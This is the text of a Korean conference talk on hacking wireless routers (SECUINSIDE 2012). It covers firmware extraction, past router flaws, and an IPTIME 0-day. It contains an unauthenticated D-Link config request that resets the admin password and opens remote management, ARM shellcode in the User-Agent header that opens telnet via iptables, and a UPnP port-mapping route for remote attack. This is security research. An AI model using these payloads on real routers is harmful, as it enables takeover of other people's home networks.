700 likes | 1.66k Views
Wireless Router Hacking. 홍정우 | B10S | Hackerschool. SECUINSIDE 2012. CONTENTS. 공유기의 기본개념. 공유기의 구성. 공유기의 기존 취약점들. IPTIME 0-Day 취약점. uPnP 를 이용한 외부 공격. ANYGATE 0-Day 취약점. 공유기 취약점 활용 시나리오. 대응 방안 및 향후 연구 계획. 공유기의 기본개념. 공유기의 기본 개념. 무선 네트워크 접근 & 인터넷 공유. 공유기의 기본 개념.
E N D
Wireless Router Hacking 홍정우 | B10S | Hackerschool SECUINSIDE 2012
CONTENTS • 공유기의 기본개념 • 공유기의 구성 • 공유기의 기존 취약점들 • IPTIME 0-Day 취약점 • uPnP를 이용한 외부 공격 • ANYGATE 0-Day 취약점 • 공유기 취약점 활용 시나리오 • 대응 방안및 향후 연구 계획
공유기의 기본 개념 무선 네트워크 접근 & 인터넷 공유
공유기의 기본 개념 A통신사의 명동 지역 내 Wifi
공유기의 기본 개념 A통신사의 논현동 지역 내 Wifi
공유기의 기본 개념 잠재적 피해자들
공유기의 구성 펌웨어 커널, 파일시스템 하드웨어
공유기의 구성 ( 하드웨어 ) DRAM 네트워크 컨트롤러 마이크로 컨트롤러 FLASH 메모리 안테나 , 전원 LAN 인터페이스 WAN 인터페이스
공유기의 구성 ( 펌웨어) 펌웨어 커널, 파일시스템 • Kernel : 2.4.19 • Filesystem : cramfs , squashfs , ext2 • Linux Command , Directory , busybox , cgi , config….
공유기 기존 취약점들 1) IPTIME 공유기 백도어 2) Belkin디폴트 패스워드 3) Dlink인증 없는 설정 4) Linksys stack overflow
공유기 기존 취약점들 1) IPTIME 공유기 백도어 • 2007년도에 ISSUE가 됐었음 • (http://kldp.org/node/83510) • 내부 명령 실행 , 파일 열람 모두 가능 • 디버깅과 개발 시 편의성을 위해 만들어진 페이지
공유기 기존 취약점들 2) Belkin디폴트 패스워드
공유기 기존 취약점들 3) Dlink인증 없는 설정 http://192.168.0.1/apply.cgi? admin_password=pwdpwd& admin_password1=pwdpwd& admPass2=pwdpwd& remote_enable=1& remote_http_management_enable=1& remote_http_management_port=8080& remote_inbound_filter=Allow_All& remote_http_management_inbound_filter=Allow_All • 관리자에 대한 인증절차가 없이 모든 인자 값이 정상 처리된다.
공유기 기존 취약점들 4) Linksys stack overflow • 경계 값 체크 없이 프로그래밍
IPTIME 0-Day 취약점 악의적인 사용자 TARGET ③ 공격 ④ 모의 공격 취약점 발견 ② ① TARGET과 동일한 공유기 잠재적 피해자들
IPTIME 0-Day 취약점 ① 취약점 발견 펌웨어가 취약 할 것이다. 악의적인 사용자 펌웨어 획득 방법 공식 홈페이지에서 최신펌웨어 다운로드 MCU의 JTAG 포트를 이용한 DUMP Flash 메모리 분리 후 DUMP 모의 공격 취약점 발견 TARGET과 동일한 공유기
IPTIME 0-Day 취약점 펌웨어 확보 방법 (1) : 공식 홈페이지에서 최신 펌웨어 다운로드
IPTIME 0-Day 취약점 펌웨어 확보 방법 (2) : MCU의 JTAG 포트 연결 후 DUMP JTAG PINOUT
IPTIME 신규 취약점 펌웨어 확보 방법 (2) : MCU의 JTAG 포트 연결 JTAG 전용 장비 필요http://devicemart.co.kr/goods/view.php?seq=15635
IPTIME 신규 취약점 펌웨어 확보 방법 (3) : Flash 메모리 추출 후 DUMP Flash memory
IPTIME 0-Day 취약점 펌웨어 확보 방법 (3) : Flash 메모리 추출 후 DUMP 공개 Flash dump 도구 이용 http://github.com/cyphunk/ParallelFLASHDumper
IPTIME 0-Day 취약점 ① 취약점 발견 파일시스템 추출 펌웨어 추출 도구 : http://code.google.com/p/firmware-mod-kit/
IPTIME 0-Day 취약점 ① 취약점 발견 /cgi-bin/timepro.cgi가 로드된다.
IPTIME 0-Day 취약점 ① 취약점 발견 분석 가능 악의적인 사용자 모의 공격 취약점 발견 TARGET과 동일한 공유기
IPTIME 0-Day 취약점 ① 취약점 발견 DEMO
IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 Stack Memory BEFORE STRCPY() Buffer AFTER STRCPY() aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa LDMFD SP, {R11 , SP , PC} R11 SP PC
IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 Aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa Buffer R11 SP PC PC 레지스터 : 다음 실행할 명령어의 위치 프로그램 흐름을 원하는 곳으로 이동시킬 수 있다. GOOD!!!
IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa Buffer R11 SP PC 쉘코드를 어디에 올릴 것인가? CGI 는 환경변수에 HTTP 데이터를 저장한다. utelnetd구동 , iptables에서 telnet 허용 쉘코드 User-Agent :
IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 add r1, pc, #96 add r2, pc, #107 add r3, pc, #106 add r4, pc, #108 add r5, pc, #107 add r6, pc, #107 add r7, pc, #111 add r8, pc, #110 add r9, pc, #109 .ascii "/sbin/iptablesF" .ascii "-AF" .ascii "INPUTF" .ascii "-pF" .ascii "tcpF" .ascii "--dportF" .ascii "23F" .ascii "-jF" .ascii "ACCEPTF"
IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 stmfdsp!, {r1-r9 ,lr} add r8, pc , #12 strb lr, [r8 , #1] Execve첫번 째 인자 mov r0, r1 , lsl lr mov r1, sp mov r2, lr swi 0x90ff0b Execve두번 째 인자 Execve세번 째 인자 Swi 0x90000b execve(“/sbin/iptables”,”/sbin/iptables”,”-A”,”INPUT”…. , NULL)
IPTIME 0-Day 취약점 ② 모의 공격 • 취약점 발견과 공격코드 구상 • 공유기 시스템 내부 쉘이 있으면 동적 디버깅가능 • 공격에 필요한 각종 테스트를 해야 함 gdb , strace , busybox등 크로스 컴파일해서 업로드 • 공격코드 완성 , 테스트
IPTIME 0-Day 취약점 ② 모의 공격 DEMO
IPTIME 0-Day 취약점 ③ 공격 인터넷 TARGET 공격에 필요한 조건 공격 공유기 패스워드 물리적으로 근접 잠재적 피해자들 악의적인 사용자
IPTIME 0-Day 취약점 ③ 공격 인터넷 TARGET 공격 공격에 필요한 조건 공유기의 아이피 잠재적 피해자들 악의적인 사용자
IPTIME 0-Day 취약점 ③ 공격- uPnP • 홈네트워크에서의 기기 간 인식, 통신 프로토콜
IPTIME 0-Day 취약점 ③ 공격 - uPnP 공유기에 포트매핑 요청 XML 형태로 통신
IPTIME 0-Day 취약점 ③ 공격- uPnP 외부 uPnP요청 허용 외부에서 원하는 포트로 접근가능 ( 80, 23)
IPTIME 0-Day 취약점 ③ 공격- uPnP # telnet 공유기IP uPnP_Port
IPTIME 0-Day 취약점 ③ 공격 - uPnP TARGET 인터넷 취약점 공격 공유기 텔넷접속 가능 80 포트 uPnP요청 23 포트 uPnP요청 잠재적 피해자들 악의적인 사용자
IPTIME 0-Day 취약점 ③ 공격 – Remote Attack DEMO
ANYGATE 0-Day 취약점 IPTIME 때와 동일 악의적인 사용자 TARGET ③ 공격 ④ 모의 공격 취약점 발견 ② ① TARGET과 동일한 공유기 잠재적 피해자들
ANYGATE 0-Day 취약점 ① 취약점 발견 펌웨어가 취약 할 것이다. 악의적인 사용자 펌웨어 획득 방법 공식 홈페이지에서 최신펌웨어 다운로드 MCU의 JTAG 포트를 이용한 DUMP Flash 메모리 분리 후 DUMP 모의 공격 취약점 발견 TARGET과 동일한 공유기